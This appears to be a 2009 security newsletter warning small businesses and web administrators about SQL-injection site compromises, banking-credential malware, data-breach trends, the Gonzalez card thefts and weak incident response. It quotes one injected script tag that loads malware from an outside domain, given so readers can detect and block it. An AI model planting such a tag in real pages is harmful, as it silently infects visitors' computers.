August, 2009

Securing ALL Your Web Services

A number of commentators, notably IBM’s Kris Lamb, have reported that malicious code is no longer limited, for the most part, to p0rn and other sleazy websites. Hackers are targeting the more commonly used education, healthcare, blogging and small ecommerce websites where they can come in and insert hostile code which will forward the user’s browser to download malware.

“We’ve reached a tipping point where every website should be viewed as suspicious and every user is at risk,” Lamb said in a statement. “The threat convergence of the Web ecosystem is creating a perfect storm of criminal activity.”

The primary mode of attack appears to be SQL Injection, which still remains vulnerable because coding user input on a website correctly is technically challenging. So the bad guys hack in, drop a script such as :

“script src=http://a0v.org/x.js”

And it runs every time someone visits the page, silently installing malware in the background.

If you run a query in Google, around 60,000 websites have this embedded in their page code. Needless to say, don’t visit any of them. I used Google to check the three websites I support via the “site:” search function. You can, too.

What to do? Use some freeware or shareware to do an initial scan for vulnerabilities. Scan your web pages for odd looking script sources. If you find them, you’ll know your web code is vulnerable somewhere. Set about finding where in a hurry, because the bad guy, or some other bad guy will find it again.

Next, take a look at anything else coming in through your firewall: FTP, email and terminal services/Citrix. Consider any opening a vector for attack, even if you have locked down the external IP
sources. Watch the logs carefully and daily.

Finally, watch outbound connections for known sites, such as the one above. Keep your ear out on security sites for the latest of those, and block connections to them from your firewall until they can be shut down.

More work, of course, but much LESS work than a successful attack!

Small Business is Being Targeted

The days when you could assume that because your company was so small hackers wouldn’t care, have officially gone past. Security by obscurity has passed as well. Now the thieves are looking for small businesses so they can get to the banking accounts and wire money.

I was called on one of these last spring, and it worked like this: the controller got a call from the bank (someone was watching! Yay!) about some wired fund transfers that looked suspicious. After reviewing them, the controller realized fraud and theft had occurred. Other evidence was that the thief had changed the email address back to the controller so that she/he would receive no notification of the wire transfers. It seemed pretty clear that someone had somehow gotten her/his access to the bank account. That was all that could be discovered at the time. They lost over $40,000. That’s small change compared to some of the fraud going on.

Reading an article from the Washington Post, I recognized the scam. It works like this:

“In many cases, the scammers infiltrate companies in a similar fashion: They send a targeted e-mail to the company’s controller or treasurer, a message that contains either a virus-laden attachment or a link that — when opened — surreptitiously installs malicious software designed to steal passwords. Armed with those credentials, the crooks then initiate a series of wire transfers, usually in increments of less than $10,000 to avoid banks’ anti-money-laundering reporting requirements.”

Sounds like exactly what happened to my client. The bad news is that once that money is wired out, there is no way the company can get it back. Losses to small businesses are becoming significant, but have not gotten much press up until this point.

In fact, wire-transfer fraud has gone up 58% in 2008, according to the US Treasury Department. Commercial business customers only have about two days to notify the bank of fraud, and then they eat the loss.

The problem is, Anti-Virus software is not keeping up with malware coming from over the Internet. Thieves are able to use malware to capture even the one-time codes on a fob during a transaction.

An advisory issued by the Financial Services Information Sharing and Analysis Center, recommends that commercial banking customers take some fairly rigorous steps to secure their online banking accounts. For example, the group recommends that commercial banking customers “carry out all online banking activity from a standalone, hardened, and locked-down computer from which e-mail and Web browsing is not possible.”

Another option might be VMware, where an image could be loaded for banking use only.

Check out this Article on Wireless

I don’t usually promote other articles - it’s kind of “cheating,” but short of copying and pasting the entire article, I’ve got to send you in the direction of Lisa Philfer’s article on “Five Steps to Eliminate Rogue Wireless Access.”

It’s really well written, and as an added bonus, points you toward some cool FREE tools for wireless monitoring. Not just the standard Wireshark, Kismet and Netstumbler, but a page full of neato tools by Xirrus.

When vendors offer up these types of tools, it makes me MUCH more likely to visit and examine their paid products.

She’s got some great suggestions for watching out for and dealing with rogue access points, not just the usual vendor shill. Bravo!

By the Numbers

I was reading through the list of 2009 reported data breaches/identity theft/etc over on Identitytheft.Info and pondering the patterns that might be visible with a little help of sorting/filtering in Excel.

Part of the problem is that there is no one complete source for gaining hard numbers on medical identity theft, identity theft, data breaches, lost, stolen, etc. Every tracking organization orders their data differently. But just for grins, let’s take this one web page sited above, as a source for analysis, and drop it into a spreadsheet.

Between January 2009 and August 18, there is a total of 237 incidents. Without any further analysis, say to numbers of people/records exposed, we can draw some interesting conclusions:

58 of those incidents involved theft by owners or employees (about one quarter)
52 happened due to hacked networks, servers or PCs
44 happened due to lost, missing or stolen computer equipment containing PII or CC#
32 were due to paper documents in trash (looked in YOUR dumpster lately?)
21 were due to Web or email exposure - i.e., poor custodian security practices
10 were due to Skimming via CC # or ATMs (including some employee & owners)

There were about 20 that defied this simplistic categorization - my favorite was “patient records left on train.”

The first group (58) interested me greatly; it shows the impact (IMHO) of our economy, and, perhaps, the growing awareness on a public level that credit card numbers and personal data are now worth stealing.

The second one I find fundamentally clueless, because there are excellent whole disk encryption products that are FREE.

I was tempted to combine 52 and 21, but refrained simply because there are zero-day exploits out there.

The most appalling, are, of course, the data dumpster droppers. The good news is that there are now data dumpster dropper divers. (Sorry, I couldn’t help it.) At least somebody is looking in dumpsters for this kind of information now. That’s a Good Thing. Anyone who puts that kind of information in the trash should be handcuffed to a shredder, don’t you think?

Points to Ponder: Reviewing the “SoupNazi” Activities

By now I’m sure you’ve heard that Albert Gonzalez is being charged with the attacks on Hannaford, Heartland, 7-Eleven, etc. In between all the excited reporting, are some points that admins and auditors ought to pay attention to. We ought to ponder how this attack is different from attacks in the past, and why this attack was so successful.

1. Using a “team.” Most of his team have not been captured, residing as they may somewhere overseas. Using a multiple talent set across several different technical approaches increases the chances of success. This is becoming more and more common, especially with ATM break ins.

2. They used SQL-injection attacks. This isn’t new, but all of these folks were having quarterly scans from external vendors as part of PCI compliance. Why didn’t the scans catch the injection vulnerabilities? Makes you want to take another look at the scanning company you may be using, doesn’t it?

3. They broke in via wireless. Anyone still using WEP out there - it’s now trivial to crack the protocol, and someone will certainly do it if you offer it up.

4. There’s a big market for those credit cards and the people that can get to them. Over 130 million cards made him a LOT of money.

And we still don’t know “exactly” how he was caught, do we?

Blaming the Auditor for Bad Security

Heartland Security has attempted to point the “Public Finger of Blame” at the hapless QSA auditor they used for PCI compliance, saying that the “QSA let us down.” So who is in charge of security, Heartland or the auditor?

Security is a corporate posture, not a pass/fail compliance test. You can pass the test and the next day change settings on the firewall that turn it into a router. Is the QSA still responsible? Nope. We don’t really know all the details of what happened at Heartland. But we do know that being compliant does not equal being secure. Never has, never will.

For a well written post excising this “Finger,” check out this article on CSO, written by Ben Rothke and Anton Chuvakin. Let’s just say that blaming the door lock when you’ve left the windows open is not a viable public relations option.

The corporate security posture should provide a mandate, from the top down, of the company’s position on information security. The power of C-level executives enforcing the mandate has to come into play. Otherwise it’s just window dressing - and open windows are no way to manage the security of your environment.

What IS the corporate policy? How effective is it? Is management promoting AND funding it? Policies that are effective also protect the information of employees. Everybody wins, even, long term, the stockholders.

Which One is More Clueless? I Can’t Decide

I ran across a story about a former employee who “broke into” his employer’s computers, according to a news story from a TV station, entitled Cops: Former Worker Hacked Casino Computers.

Now, here’s the real story: If you read the article, the guy did not “hack in.” He used his VPN connection from his home (Clueless Number 1) to go into his employer’s network and access computers to mess up some programming.

His VPN connection had obviously not been disabled (Clueless Number 2) by his employer.

The police (Clueless Number 3) referred to him as a “computer whiz” for using his VPN connection from his home to get into his employer’s network.

Whiz? Cheese Whiz, maybe?

Things NOT to Do When You’ve Been Hacked, Part II

I finally asked that deadly question: “What do your Incident Response Procedures say?” Whoops, there goes all the buddy-buddy geekiness: I have morphed into The Auditor Who Asks Questions.

“Umm, well, they pretty much say to do what we just did.” I notice the vagueness of the reply, but decide to let it pass, for the moment. They don’t really know what their procedures say they should do. Probably the procedures are too generic.

“OK. But what if he has jumped to this box from another box he compromised first? How would you know?” More pained and irritated looks coming my way. “By now, you won’t really be able to tell what happened unless you go to a backup and start analyzing whatever you can find for connection information. But that won’t necessarily give you rootkit information. If you’re lucky, you might see a netcat connection, but only if he hasn’t erased the Event Logs.”

“Even so,” I continue, knowing I am now excluded from the Kool Kids Klub, “If he has gotten your SAM database off the server, wouldn’t he know the administrator password? Is that password the same on every server?”

Turns out the password IS the same, and the Event Logs overwrite according to defaults. Now they can’t trust the server OR the administrator password. But I’m leaving, and besides, this isn’t an audit anyway, just some consulting.

So they left the server alone, because “There are all those websites on it, the users would scream and we’ll watch it carefully.” And never mind about passwords because “It’s a really tough one they’ll never crack.”

I wonder what will happen next, don’t you?